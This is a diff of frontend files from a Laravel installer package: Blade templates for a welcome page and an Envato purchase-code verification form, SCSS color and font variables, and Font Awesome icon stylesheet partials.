<div class="buttons">
<button class="button" type="submit">
{{ __('Verify Code') }}
<i class="fa fa-angle-right fa-fw" aria-hidden="true"></i>
</button>
</div>
</form>
@endsection

View File

@@ -0,0 +1,44 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ __('Verify Envato Purchase Code') }}
@endsection
@section('title')
<i class="fa fa-key fa-fw" aria-hidden="true"></i>
{{ __('Verify Envato Purchase Code') }}
@endsection
@section('container')
<form method="post" action="{{ route('LaravelInstaller::codeVerifyProcess') }}" class="tabs-wrap">
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<div class="form-group bottom-gap {{ $errors->has('purchase_code') ? ' has-error ' : '' }}">
<label for="purchase_code">
{{ __('Purchase Code') }}
</label>
<input type="text" name="purchase_code" id="purchase_code" value="" placeholder="{{ __('Envato purchase code')}}" />
@if ($errors->has('purchase_code'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('purchase_code') }}
</span>
@endif
</div>
<div class="center-flex">
<div class="btn-wrapper">
<div class="btn-glow"></div>
<button type="submit" class="btn" role="button">
{{ __('Verify Code') }}
<svg aria-hidden="true" viewBox="0 0 10 10" height="10" width="10" fill="none" class="arrow">
<path d="M0 5h7" class="line1"></path>
<path d="M1 1l4 4-4 4" class="line2"></path>
</svg>
</button>
</div>
</div>
</form>
@endsection

View File

@@ -0,0 +1,31 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.welcome.templateTitle') }}
@endsection
@section('title')
{{ __("installer_messages.title") }}
@endsection
@section('container')
<h1 class="page-title">
{{__('We Makes')}} <span class="gradient-text">{{__('Globally')}}</span> {{__('Growth')}}<br /> {{__('Increase Your Revenue')}}
</h1>
<p class="text-center paragraph">
{{ trans('installer_messages.welcome.message') }}
</p>
<br>
<div class="center-flex">
<div class="btn-wrapper">
<div class="btn-glow"></div>
<a href="{{ route('LaravelInstaller::requirements') }}" class="btn" role="button" title="payment">
{{ trans('installer_messages.next') }}
<svg aria-hidden="true" viewBox="0 0 10 10" height="10" width="10" fill="none" class="arrow">
<path d="M0 5h7" class="line1"></path>
<path d="M1 1l4 4-4 4" class="line2"></path>
</svg>
</a>
</div>
</div>
@endsection

View File

@@ -0,0 +1,46 @@
//colors
$color_0: #ff0
$color_1: #000
$color_2: silver
$color_3: #666
$color_4: #111
$color_5: #1d73a2
$color_6: #175c82
$color_7: rgba(0, 0, 0, .19)
$color_8: rgba(0, 0, 0, .23)
$color_9: #357295
$color_10: #fff
$color_11: #cacfd2
$color_12: #34a0db
$color_13: rgba(0, 0, 0, .12)
$color_14: rgba(0, 0, 0, .24)
$color_15: #2490cb
$color_16: #eee
$color_17: #222
$color_18: rgba(0, 0, 0, .16)
$color_19: #2ecc71
$color_20: #e74c3c
$color_21: #f5f5f5
$color_22: rgba(0, 0, 0, .2)
//fonts
$font_0: Ionicons
$font_1: sans-serif
$font_2: monospace
$font_3: Roboto
$font_4: Helvetica Neue
$font_5: Helvetica
$font_6: Arial
$font_7: Courier New
$font_8: Courier
$font_9: Lucida Sans Typewriter
$font_10: Lucida Typewriter
//urls
$url_0: url(https://fonts.googleapis.com/css?family=Roboto:400,300,500,700,900)
$url_1: url(../fonts/ionicons.eot?v=2.0.1)
$url_2: url(../fonts/ionicons.eot?v=2.0.1#iefix)
$url_3: url(../fonts/ionicons.ttf?v=2.0.1)
$url_4: url(../fonts/ionicons.woff?v=2.0.1)
$url_5: url(../fonts/ionicons.svg?v=2.0.1#Ionicons)
$url_6: url(../img/background.png)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,58 @@
//colors
$color_0: #ff0;
$color_1: #000;
$color_2: silver;
$color_3: #666;
$color_4: #111;
$color_5: #1d73a2;
$color_6: #175c82;
$color_7: rgba(0, 0, 0, .19);
$color_8: rgba(0, 0, 0, .23);
$color_9: #357295;
$color_10: #fff;
$color_11: #cacfd2;
$color_12: #34a0db;
$color_13: #3d657b;
$color_14: rgba(0, 0, 0, .12);
$color_15: rgba(0, 0, 0, .24);
$color_16: #2490cb;
$color_17: #eee;
$color_18: #222;
$color_19: rgba(0, 0, 0, .16);
$color_20: #2ecc71;
$color_21: #e74c3c;
$color_22: #f5f5f5;
$color_23: rgba(0, 0, 0, .2);
$color_24: #ff0000;
$color_25: #000000;
$color_26: red;
$color_27: #dddddd;
$color_28: #ddd;
$color_29: #333;
$color_30: #ffff00;
$color_31: #008000;
$color_32: darkgray;
$color_33: #008080;
$color_34: #144242;
$color_35: #a9a9a9;
$color_36: rgba(0, 0, 0, 0.1);
$color_37: #ccc;
$color_38: rgba(0, 0, 0, 0.3);
$color_39: #ffffff;
//fonts
$font_0: sans-serif;
$font_1: monospace;
$font_2: Roboto;
$font_3: Helvetica Neue;
$font_4: Helvetica;
$font_5: Arial;
$font_6: Courier New;
$font_7: Courier;
$font_8: Lucida Sans Typewriter;
$font_9: Lucida Typewriter;
$font_10: Ionicons;
//urls
$url_0: 'https://fonts.googleapis.com/css?family=Roboto:400,300,500,700,900';
$url_1: '../img/background.png';

View File

@@ -0,0 +1,34 @@
// Spinning Icons
// --------------------------
.#{$fa-css-prefix}-spin {
-webkit-animation: fa-spin 2s infinite linear;
animation: fa-spin 2s infinite linear;
}
.#{$fa-css-prefix}-pulse {
-webkit-animation: fa-spin 1s infinite steps(8);
animation: fa-spin 1s infinite steps(8);
}
@-webkit-keyframes fa-spin {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(359deg);
transform: rotate(359deg);
}
}
@keyframes fa-spin {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(359deg);
transform: rotate(359deg);
}
}

View File

@@ -0,0 +1,25 @@
// Bordered & Pulled
// -------------------------
.#{$fa-css-prefix}-border {
padding: .2em .25em .15em;
border: solid .08em $fa-border-color;
border-radius: .1em;
}
.#{$fa-css-prefix}-pull-left { float: left; }
.#{$fa-css-prefix}-pull-right { float: right; }
.#{$fa-css-prefix} {
&.#{$fa-css-prefix}-pull-left { margin-right: .3em; }
&.#{$fa-css-prefix}-pull-right { margin-left: .3em; }
}
/* Deprecated as of 4.4.0 */
.pull-right { float: right; }
.pull-left { float: left; }
.#{$fa-css-prefix} {
&.pull-left { margin-right: .3em; }
&.pull-right { margin-left: .3em; }
}

View File

@@ -0,0 +1,12 @@
// Base Class Definition
// -------------------------
.#{$fa-css-prefix} {
display: inline-block;
font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration
font-size: inherit; // can't have font-size inherit on line above, so need to override
text-rendering: auto; // optimizelegibility throws things off #1094
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}

View File

@@ -0,0 +1,6 @@
// Fixed Width Icons
// -------------------------
.#{$fa-css-prefix}-fw {
width: (18em / 14);
text-align: center;
}

View File

@@ -0,0 +1,789 @@
/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
readers do not read off random characters that represent icons */
.#{$fa-css-prefix}-glass:before { content: $fa-var-glass; }
.#{$fa-css-prefix}-music:before { content: $fa-var-music; }
.#{$fa-css-prefix}-search:before { content: $fa-var-search; }
.#{$fa-css-prefix}-envelope-o:before { content: $fa-var-envelope-o; }
.#{$fa-css-prefix}-heart:before { content: $fa-var-heart; }
.#{$fa-css-prefix}-star:before { content: $fa-var-star; }
.#{$fa-css-prefix}-star-o:before { content: $fa-var-star-o; }
.#{$fa-css-prefix}-user:before { content: $fa-var-user; }
.#{$fa-css-prefix}-film:before { content: $fa-var-film; }
.#{$fa-css-prefix}-th-large:before { content: $fa-var-th-large; }
.#{$fa-css-prefix}-th:before { content: $fa-var-th; }
.#{$fa-css-prefix}-th-list:before { content: $fa-var-th-list; }
.#{$fa-css-prefix}-check:before { content: $fa-var-check; }
.#{$fa-css-prefix}-remove:before,
.#{$fa-css-prefix}-close:before,
.#{$fa-css-prefix}-times:before { content: $fa-var-times; }
.#{$fa-css-prefix}-search-plus:before { content: $fa-var-search-plus; }
.#{$fa-css-prefix}-search-minus:before { content: $fa-var-search-minus; }
.#{$fa-css-prefix}-power-off:before { content: $fa-var-power-off; }
.#{$fa-css-prefix}-signal:before { content: $fa-var-signal; }
.#{$fa-css-prefix}-gear:before,
.#{$fa-css-prefix}-cog:before { content: $fa-var-cog; }
.#{$fa-css-prefix}-trash-o:before { content: $fa-var-trash-o; }
.#{$fa-css-prefix}-home:before { content: $fa-var-home; }
.#{$fa-css-prefix}-file-o:before { content: $fa-var-file-o; }
.#{$fa-css-prefix}-clock-o:before { content: $fa-var-clock-o; }
.#{$fa-css-prefix}-road:before { content: $fa-var-road; }
.#{$fa-css-prefix}-download:before { content: $fa-var-download; }
.#{$fa-css-prefix}-arrow-circle-o-down:before { content: $fa-var-arrow-circle-o-down; }
.#{$fa-css-prefix}-arrow-circle-o-up:before { content: $fa-var-arrow-circle-o-up; }
.#{$fa-css-prefix}-inbox:before { content: $fa-var-inbox; }
.#{$fa-css-prefix}-play-circle-o:before { content: $fa-var-play-circle-o; }
.#{$fa-css-prefix}-rotate-right:before,
.#{$fa-css-prefix}-repeat:before { content: $fa-var-repeat; }
.#{$fa-css-prefix}-refresh:before { content: $fa-var-refresh; }
.#{$fa-css-prefix}-list-alt:before { content: $fa-var-list-alt; }
.#{$fa-css-prefix}-lock:before { content: $fa-var-lock; }
.#{$fa-css-prefix}-flag:before { content: $fa-var-flag; }
.#{$fa-css-prefix}-headphones:before { content: $fa-var-headphones; }
.#{$fa-css-prefix}-volume-off:before { content: $fa-var-volume-off; }
.#{$fa-css-prefix}-volume-down:before { content: $fa-var-volume-down; }
.#{$fa-css-prefix}-volume-up:before { content: $fa-var-volume-up; }
.#{$fa-css-prefix}-qrcode:before { content: $fa-var-qrcode; }
.#{$fa-css-prefix}-barcode:before { content: $fa-var-barcode; }
.#{$fa-css-prefix}-tag:before { content: $fa-var-tag; }
.#{$fa-css-prefix}-tags:before { content: $fa-var-tags; }
.#{$fa-css-prefix}-book:before { content: $fa-var-book; }
.#{$fa-css-prefix}-bookmark:before { content: $fa-var-bookmark; }
.#{$fa-css-prefix}-print:before { content: $fa-var-print; }
.#{$fa-css-prefix}-camera:before { content: $fa-var-camera; }
.#{$fa-css-prefix}-font:before { content: $fa-var-font; }
.#{$fa-css-prefix}-bold:before { content: $fa-var-bold; }
.#{$fa-css-prefix}-italic:before { content: $fa-var-italic; }
.#{$fa-css-prefix}-text-height:before { content: $fa-var-text-height; }
.#{$fa-css-prefix}-text-width:before { content: $fa-var-text-width; }
.#{$fa-css-prefix}-align-left:before { content: $fa-var-align-left; }
.#{$fa-css-prefix}-align-center:before { content: $fa-var-align-center; }
.#{$fa-css-prefix}-align-right:before { content: $fa-var-align-right; }
.#{$fa-css-prefix}-align-justify:before { content: $fa-var-align-justify; }
.#{$fa-css-prefix}-list:before { content: $fa-var-list; }
.#{$fa-css-prefix}-dedent:before,
.#{$fa-css-prefix}-outdent:before { content: $fa-var-outdent; }
.#{$fa-css-prefix}-indent:before { content: $fa-var-indent; }
.#{$fa-css-prefix}-video-camera:before { content: $fa-var-video-camera; }
.#{$fa-css-prefix}-photo:before,
.#{$fa-css-prefix}-image:before,
.#{$fa-css-prefix}-picture-o:before { content: $fa-var-picture-o; }
.#{$fa-css-prefix}-pencil:before { content: $fa-var-pencil; }
.#{$fa-css-prefix}-map-marker:before { content: $fa-var-map-marker; }
.#{$fa-css-prefix}-adjust:before { content: $fa-var-adjust; }
.#{$fa-css-prefix}-tint:before { content: $fa-var-tint; }
.#{$fa-css-prefix}-edit:before,
.#{$fa-css-prefix}-pencil-square-o:before { content: $fa-var-pencil-square-o; }
.#{$fa-css-prefix}-share-square-o:before { content: $fa-var-share-square-o; }
.#{$fa-css-prefix}-check-square-o:before { content: $fa-var-check-square-o; }
.#{$fa-css-prefix}-arrows:before { content: $fa-var-arrows; }
.#{$fa-css-prefix}-step-backward:before { content: $fa-var-step-backward; }
.#{$fa-css-prefix}-fast-backward:before { content: $fa-var-fast-backward; }
.#{$fa-css-prefix}-backward:before { content: $fa-var-backward; }
.#{$fa-css-prefix}-play:before { content: $fa-var-play; }
.#{$fa-css-prefix}-pause:before { content: $fa-var-pause; }
.#{$fa-css-prefix}-stop:before { content: $fa-var-stop; }
.#{$fa-css-prefix}-forward:before { content: $fa-var-forward; }
.#{$fa-css-prefix}-fast-forward:before { content: $fa-var-fast-forward; }
.#{$fa-css-prefix}-step-forward:before { content: $fa-var-step-forward; }
.#{$fa-css-prefix}-eject:before { content: $fa-var-eject; }
.#{$fa-css-prefix}-chevron-left:before { content: $fa-var-chevron-left; }
.#{$fa-css-prefix}-chevron-right:before { content: $fa-var-chevron-right; }
.#{$fa-css-prefix}-plus-circle:before { content: $fa-var-plus-circle; }
.#{$fa-css-prefix}-minus-circle:before { content: $fa-var-minus-circle; }
.#{$fa-css-prefix}-times-circle:before { content: $fa-var-times-circle; }
.#{$fa-css-prefix}-check-circle:before { content: $fa-var-check-circle; }
.#{$fa-css-prefix}-question-circle:before { content: $fa-var-question-circle; }
.#{$fa-css-prefix}-info-circle:before { content: $fa-var-info-circle; }
.#{$fa-css-prefix}-crosshairs:before { content: $fa-var-crosshairs; }
.#{$fa-css-prefix}-times-circle-o:before { content: $fa-var-times-circle-o; }
.#{$fa-css-prefix}-check-circle-o:before { content: $fa-var-check-circle-o; }
.#{$fa-css-prefix}-ban:before { content: $fa-var-ban; }
.#{$fa-css-prefix}-arrow-left:before { content: $fa-var-arrow-left; }
.#{$fa-css-prefix}-arrow-right:before { content: $fa-var-arrow-right; }
.#{$fa-css-prefix}-arrow-up:before { content: $fa-var-arrow-up; }
.#{$fa-css-prefix}-arrow-down:before { content: $fa-var-arrow-down; }
.#{$fa-css-prefix}-mail-forward:before,
.#{$fa-css-prefix}-share:before { content: $fa-var-share; }
.#{$fa-css-prefix}-expand:before { content: $fa-var-expand; }
.#{$fa-css-prefix}-compress:before { content: $fa-var-compress; }
.#{$fa-css-prefix}-plus:before { content: $fa-var-plus; }
.#{$fa-css-prefix}-minus:before { content: $fa-var-minus; }
.#{$fa-css-prefix}-asterisk:before { content: $fa-var-asterisk; }
.#{$fa-css-prefix}-exclamation-circle:before { content: $fa-var-exclamation-circle; }
.#{$fa-css-prefix}-gift:before { content: $fa-var-gift; }
.#{$fa-css-prefix}-leaf:before { content: $fa-var-leaf; }
.#{$fa-css-prefix}-fire:before { content: $fa-var-fire; }
.#{$fa-css-prefix}-eye:before { content: $fa-var-eye; }
.#{$fa-css-prefix}-eye-slash:before { content: $fa-var-eye-slash; }
.#{$fa-css-prefix}-warning:before,
.#{$fa-css-prefix}-exclamation-triangle:before { content: $fa-var-exclamation-triangle; }
.#{$fa-css-prefix}-plane:before { content: $fa-var-plane; }
.#{$fa-css-prefix}-calendar:before { content: $fa-var-calendar; }
.#{$fa-css-prefix}-random:before { content: $fa-var-random; }
.#{$fa-css-prefix}-comment:before { content: $fa-var-comment; }
.#{$fa-css-prefix}-magnet:before { content: $fa-var-magnet; }
.#{$fa-css-prefix}-chevron-up:before { content: $fa-var-chevron-up; }
.#{$fa-css-prefix}-chevron-down:before { content: $fa-var-chevron-down; }
.#{$fa-css-prefix}-retweet:before { content: $fa-var-retweet; }
.#{$fa-css-prefix}-shopping-cart:before { content: $fa-var-shopping-cart; }
.#{$fa-css-prefix}-folder:before { content: $fa-var-folder; }
.#{$fa-css-prefix}-folder-open:before { content: $fa-var-folder-open; }
.#{$fa-css-prefix}-arrows-v:before { content: $fa-var-arrows-v; }
.#{$fa-css-prefix}-arrows-h:before { content: $fa-var-arrows-h; }
.#{$fa-css-prefix}-bar-chart-o:before,
.#{$fa-css-prefix}-bar-chart:before { content: $fa-var-bar-chart; }
.#{$fa-css-prefix}-twitter-square:before { content: $fa-var-twitter-square; }
.#{$fa-css-prefix}-facebook-square:before { content: $fa-var-facebook-square; }
.#{$fa-css-prefix}-camera-retro:before { content: $fa-var-camera-retro; }
.#{$fa-css-prefix}-key:before { content: $fa-var-key; }
.#{$fa-css-prefix}-gears:before,
.#{$fa-css-prefix}-cogs:before { content: $fa-var-cogs; }
.#{$fa-css-prefix}-comments:before { content: $fa-var-comments; }
.#{$fa-css-prefix}-thumbs-o-up:before { content: $fa-var-thumbs-o-up; }
.#{$fa-css-prefix}-thumbs-o-down:before { content: $fa-var-thumbs-o-down; }
.#{$fa-css-prefix}-star-half:before { content: $fa-var-star-half; }
.#{$fa-css-prefix}-heart-o:before { content: $fa-var-heart-o; }
.#{$fa-css-prefix}-sign-out:before { content: $fa-var-sign-out; }
.#{$fa-css-prefix}-linkedin-square:before { content: $fa-var-linkedin-square; }
.#{$fa-css-prefix}-thumb-tack:before { content: $fa-var-thumb-tack; }
.#{$fa-css-prefix}-external-link:before { content: $fa-var-external-link; }
.#{$fa-css-prefix}-sign-in:before { content: $fa-var-sign-in; }
.#{$fa-css-prefix}-trophy:before { content: $fa-var-trophy; }
.#{$fa-css-prefix}-github-square:before { content: $fa-var-github-square; }
.#{$fa-css-prefix}-upload:before { content: $fa-var-upload; }
.#{$fa-css-prefix}-lemon-o:before { content: $fa-var-lemon-o; }
.#{$fa-css-prefix}-phone:before { content: $fa-var-phone; }
.#{$fa-css-prefix}-square-o:before { content: $fa-var-square-o; }
.#{$fa-css-prefix}-bookmark-o:before { content: $fa-var-bookmark-o; }
.#{$fa-css-prefix}-phone-square:before { content: $fa-var-phone-square; }
.#{$fa-css-prefix}-twitter:before { content: $fa-var-twitter; }
.#{$fa-css-prefix}-facebook-f:before,
.#{$fa-css-prefix}-facebook:before { content: $fa-var-facebook; }
.#{$fa-css-prefix}-github:before { content: $fa-var-github; }
.#{$fa-css-prefix}-unlock:before { content: $fa-var-unlock; }
.#{$fa-css-prefix}-credit-card:before { content: $fa-var-credit-card; }
.#{$fa-css-prefix}-feed:before,
.#{$fa-css-prefix}-rss:before { content: $fa-var-rss; }
.#{$fa-css-prefix}-hdd-o:before { content: $fa-var-hdd-o; }
.#{$fa-css-prefix}-bullhorn:before { content: $fa-var-bullhorn; }
.#{$fa-css-prefix}-bell:before { content: $fa-var-bell; }
.#{$fa-css-prefix}-certificate:before { content: $fa-var-certificate; }
.#{$fa-css-prefix}-hand-o-right:before { content: $fa-var-hand-o-right; }
.#{$fa-css-prefix}-hand-o-left:before { content: $fa-var-hand-o-left; }
.#{$fa-css-prefix}-hand-o-up:before { content: $fa-var-hand-o-up; }
.#{$fa-css-prefix}-hand-o-down:before { content: $fa-var-hand-o-down; }
.#{$fa-css-prefix}-arrow-circle-left:before { content: $fa-var-arrow-circle-left; }
.#{$fa-css-prefix}-arrow-circle-right:before { content: $fa-var-arrow-circle-right; }
.#{$fa-css-prefix}-arrow-circle-up:before { content: $fa-var-arrow-circle-up; }
.#{$fa-css-prefix}-arrow-circle-down:before { content: $fa-var-arrow-circle-down; }
.#{$fa-css-prefix}-globe:before { content: $fa-var-globe; }
.#{$fa-css-prefix}-wrench:before { content: $fa-var-wrench; }
.#{$fa-css-prefix}-tasks:before { content: $fa-var-tasks; }
.#{$fa-css-prefix}-filter:before { content: $fa-var-filter; }
.#{$fa-css-prefix}-briefcase:before { content: $fa-var-briefcase; }
.#{$fa-css-prefix}-arrows-alt:before { content: $fa-var-arrows-alt; }
.#{$fa-css-prefix}-group:before,
.#{$fa-css-prefix}-users:before { content: $fa-var-users; }
.#{$fa-css-prefix}-chain:before,
.#{$fa-css-prefix}-link:before { content: $fa-var-link; }
.#{$fa-css-prefix}-cloud:before { content: $fa-var-cloud; }
.#{$fa-css-prefix}-flask:before { content: $fa-var-flask; }
.#{$fa-css-prefix}-cut:before,
.#{$fa-css-prefix}-scissors:before { content: $fa-var-scissors; }
.#{$fa-css-prefix}-copy:before,
.#{$fa-css-prefix}-files-o:before { content: $fa-var-files-o; }
.#{$fa-css-prefix}-paperclip:before { content: $fa-var-paperclip; }
.#{$fa-css-prefix}-save:before,
.#{$fa-css-prefix}-floppy-o:before { content: $fa-var-floppy-o; }
.#{$fa-css-prefix}-square:before { content: $fa-var-square; }
.#{$fa-css-prefix}-navicon:before,
.#{$fa-css-prefix}-reorder:before,
.#{$fa-css-prefix}-bars:before { content: $fa-var-bars; }
.#{$fa-css-prefix}-list-ul:before { content: $fa-var-list-ul; }
.#{$fa-css-prefix}-list-ol:before { content: $fa-var-list-ol; }
.#{$fa-css-prefix}-strikethrough:before { content: $fa-var-strikethrough; }
.#{$fa-css-prefix}-underline:before { content: $fa-var-underline; }
.#{$fa-css-prefix}-table:before { content: $fa-var-table; }
.#{$fa-css-prefix}-magic:before { content: $fa-var-magic; }
.#{$fa-css-prefix}-truck:before { content: $fa-var-truck; }
.#{$fa-css-prefix}-pinterest:before { content: $fa-var-pinterest; }
.#{$fa-css-prefix}-pinterest-square:before { content: $fa-var-pinterest-square; }
.#{$fa-css-prefix}-google-plus-square:before { content: $fa-var-google-plus-square; }
.#{$fa-css-prefix}-google-plus:before { content: $fa-var-google-plus; }
.#{$fa-css-prefix}-money:before { content: $fa-var-money; }
.#{$fa-css-prefix}-caret-down:before { content: $fa-var-caret-down; }
.#{$fa-css-prefix}-caret-up:before { content: $fa-var-caret-up; }
.#{$fa-css-prefix}-caret-left:before { content: $fa-var-caret-left; }
.#{$fa-css-prefix}-caret-right:before { content: $fa-var-caret-right; }
.#{$fa-css-prefix}-columns:before { content: $fa-var-columns; }
.#{$fa-css-prefix}-unsorted:before,
.#{$fa-css-prefix}-sort:before { content: $fa-var-sort; }
.#{$fa-css-prefix}-sort-down:before,
.#{$fa-css-prefix}-sort-desc:before { content: $fa-var-sort-desc; }
.#{$fa-css-prefix}-sort-up:before,
.#{$fa-css-prefix}-sort-asc:before { content: $fa-var-sort-asc; }
.#{$fa-css-prefix}-envelope:before { content: $fa-var-envelope; }
.#{$fa-css-prefix}-linkedin:before { content: $fa-var-linkedin; }
.#{$fa-css-prefix}-rotate-left:before,
.#{$fa-css-prefix}-undo:before { content: $fa-var-undo; }
.#{$fa-css-prefix}-legal:before,
.#{$fa-css-prefix}-gavel:before { content: $fa-var-gavel; }
.#{$fa-css-prefix}-dashboard:before,
.#{$fa-css-prefix}-tachometer:before { content: $fa-var-tachometer; }
.#{$fa-css-prefix}-comment-o:before { content: $fa-var-comment-o; }
.#{$fa-css-prefix}-comments-o:before { content: $fa-var-comments-o; }
.#{$fa-css-prefix}-flash:before,
.#{$fa-css-prefix}-bolt:before { content: $fa-var-bolt; }
.#{$fa-css-prefix}-sitemap:before { content: $fa-var-sitemap; }
.#{$fa-css-prefix}-umbrella:before { content: $fa-var-umbrella; }
.#{$fa-css-prefix}-paste:before,
.#{$fa-css-prefix}-clipboard:before { content: $fa-var-clipboard; }
.#{$fa-css-prefix}-lightbulb-o:before { content: $fa-var-lightbulb-o; }
.#{$fa-css-prefix}-exchange:before { content: $fa-var-exchange; }
.#{$fa-css-prefix}-cloud-download:before { content: $fa-var-cloud-download; }
.#{$fa-css-prefix}-cloud-upload:before { content: $fa-var-cloud-upload; }
.#{$fa-css-prefix}-user-md:before { content: $fa-var-user-md; }
.#{$fa-css-prefix}-stethoscope:before { content: $fa-var-stethoscope; }
.#{$fa-css-prefix}-suitcase:before { content: $fa-var-suitcase; }
.#{$fa-css-prefix}-bell-o:before { content: $fa-var-bell-o; }
.#{$fa-css-prefix}-coffee:before { content: $fa-var-coffee; }
.#{$fa-css-prefix}-cutlery:before { content: $fa-var-cutlery; }
.#{$fa-css-prefix}-file-text-o:before { content: $fa-var-file-text-o; }
.#{$fa-css-prefix}-building-o:before { content: $fa-var-building-o; }
.#{$fa-css-prefix}-hospital-o:before { content: $fa-var-hospital-o; }
.#{$fa-css-prefix}-ambulance:before { content: $fa-var-ambulance; }
.#{$fa-css-prefix}-medkit:before { content: $fa-var-medkit; }
.#{$fa-css-prefix}-fighter-jet:before { content: $fa-var-fighter-jet; }
.#{$fa-css-prefix}-beer:before { content: $fa-var-beer; }
.#{$fa-css-prefix}-h-square:before { content: $fa-var-h-square; }
.#{$fa-css-prefix}-plus-square:before { content: $fa-var-plus-square; }
.#{$fa-css-prefix}-angle-double-left:before { content: $fa-var-angle-double-left; }
.#{$fa-css-prefix}-angle-double-right:before { content: $fa-var-angle-double-right; }
.#{$fa-css-prefix}-angle-double-up:before { content: $fa-var-angle-double-up; }
.#{$fa-css-prefix}-angle-double-down:before { content: $fa-var-angle-double-down; }
.#{$fa-css-prefix}-angle-left:before { content: $fa-var-angle-left; }
.#{$fa-css-prefix}-angle-right:before { content: $fa-var-angle-right; }
.#{$fa-css-prefix}-angle-up:before { content: $fa-var-angle-up; }
.#{$fa-css-prefix}-angle-down:before { content: $fa-var-angle-down; }
.#{$fa-css-prefix}-desktop:before { content: $fa-var-desktop; }
.#{$fa-css-prefix}-laptop:before { content: $fa-var-laptop; }
.#{$fa-css-prefix}-tablet:before { content: $fa-var-tablet; }
.#{$fa-css-prefix}-mobile-phone:before,
.#{$fa-css-prefix}-mobile:before { content: $fa-var-mobile; }
.#{$fa-css-prefix}-circle-o:before { content: $fa-var-circle-o; }
.#{$fa-css-prefix}-quote-left:before { content: $fa-var-quote-left; }
.#{$fa-css-prefix}-quote-right:before { content: $fa-var-quote-right; }
.#{$fa-css-prefix}-spinner:before { content: $fa-var-spinner; }
.#{$fa-css-prefix}-circle:before { content: $fa-var-circle; }
.#{$fa-css-prefix}-mail-reply:before,
.#{$fa-css-prefix}-reply:before { content: $fa-var-reply; }
.#{$fa-css-prefix}-github-alt:before { content: $fa-var-github-alt; }
.#{$fa-css-prefix}-folder-o:before { content: $fa-var-folder-o; }
.#{$fa-css-prefix}-folder-open-o:before { content: $fa-var-folder-open-o; }
.#{$fa-css-prefix}-smile-o:before { content: $fa-var-smile-o; }
.#{$fa-css-prefix}-frown-o:before { content: $fa-var-frown-o; }
.#{$fa-css-prefix}-meh-o:before { content: $fa-var-meh-o; }
.#{$fa-css-prefix}-gamepad:before { content: $fa-var-gamepad; }
.#{$fa-css-prefix}-keyboard-o:before { content: $fa-var-keyboard-o; }
.#{$fa-css-prefix}-flag-o:before { content: $fa-var-flag-o; }
.#{$fa-css-prefix}-flag-checkered:before { content: $fa-var-flag-checkered; }
.#{$fa-css-prefix}-terminal:before { content: $fa-var-terminal; }
.#{$fa-css-prefix}-code:before { content: $fa-var-code; }
.#{$fa-css-prefix}-mail-reply-all:before,
.#{$fa-css-prefix}-reply-all:before { content: $fa-var-reply-all; }
.#{$fa-css-prefix}-star-half-empty:before,
.#{$fa-css-prefix}-star-half-full:before,
.#{$fa-css-prefix}-star-half-o:before { content: $fa-var-star-half-o; }
.#{$fa-css-prefix}-location-arrow:before { content: $fa-var-location-arrow; }
.#{$fa-css-prefix}-crop:before { content: $fa-var-crop; }
.#{$fa-css-prefix}-code-fork:before { content: $fa-var-code-fork; }
.#{$fa-css-prefix}-unlink:before,
.#{$fa-css-prefix}-chain-broken:before { content: $fa-var-chain-broken; }
.#{$fa-css-prefix}-question:before { content: $fa-var-question; }
.#{$fa-css-prefix}-info:before { content: $fa-var-info; }
.#{$fa-css-prefix}-exclamation:before { content: $fa-var-exclamation; }
.#{$fa-css-prefix}-superscript:before { content: $fa-var-superscript; }
.#{$fa-css-prefix}-subscript:before { content: $fa-var-subscript; }
.#{$fa-css-prefix}-eraser:before { content: $fa-var-eraser; }
.#{$fa-css-prefix}-puzzle-piece:before { content: $fa-var-puzzle-piece; }
.#{$fa-css-prefix}-microphone:before { content: $fa-var-microphone; }
.#{$fa-css-prefix}-microphone-slash:before { content: $fa-var-microphone-slash; }
.#{$fa-css-prefix}-shield:before { content: $fa-var-shield; }
.#{$fa-css-prefix}-calendar-o:before { content: $fa-var-calendar-o; }
.#{$fa-css-prefix}-fire-extinguisher:before { content: $fa-var-fire-extinguisher; }
.#{$fa-css-prefix}-rocket:before { content: $fa-var-rocket; }
.#{$fa-css-prefix}-maxcdn:before { content: $fa-var-maxcdn; }
.#{$fa-css-prefix}-chevron-circle-left:before { content: $fa-var-chevron-circle-left; }
.#{$fa-css-prefix}-chevron-circle-right:before { content: $fa-var-chevron-circle-right; }
.#{$fa-css-prefix}-chevron-circle-up:before { content: $fa-var-chevron-circle-up; }
.#{$fa-css-prefix}-chevron-circle-down:before { content: $fa-var-chevron-circle-down; }
.#{$fa-css-prefix}-html5:before { content: $fa-var-html5; }
.#{$fa-css-prefix}-css3:before { content: $fa-var-css3; }
.#{$fa-css-prefix}-anchor:before { content: $fa-var-anchor; }
.#{$fa-css-prefix}-unlock-alt:before { content: $fa-var-unlock-alt; }
.#{$fa-css-prefix}-bullseye:before { content: $fa-var-bullseye; }
.#{$fa-css-prefix}-ellipsis-h:before { content: $fa-var-ellipsis-h; }
.#{$fa-css-prefix}-ellipsis-v:before { content: $fa-var-ellipsis-v; }
.#{$fa-css-prefix}-rss-square:before { content: $fa-var-rss-square; }
.#{$fa-css-prefix}-play-circle:before { content: $fa-var-play-circle; }
.#{$fa-css-prefix}-ticket:before { content: $fa-var-ticket; }
.#{$fa-css-prefix}-minus-square:before { content: $fa-var-minus-square; }
.#{$fa-css-prefix}-minus-square-o:before { content: $fa-var-minus-square-o; }
.#{$fa-css-prefix}-level-up:before { content: $fa-var-level-up; }
.#{$fa-css-prefix}-level-down:before { content: $fa-var-level-down; }
.#{$fa-css-prefix}-check-square:before { content: $fa-var-check-square; }
.#{$fa-css-prefix}-pencil-square:before { content: $fa-var-pencil-square; }
.#{$fa-css-prefix}-external-link-square:before { content: $fa-var-external-link-square; }
.#{$fa-css-prefix}-share-square:before { content: $fa-var-share-square; }
.#{$fa-css-prefix}-compass:before { content: $fa-var-compass; }
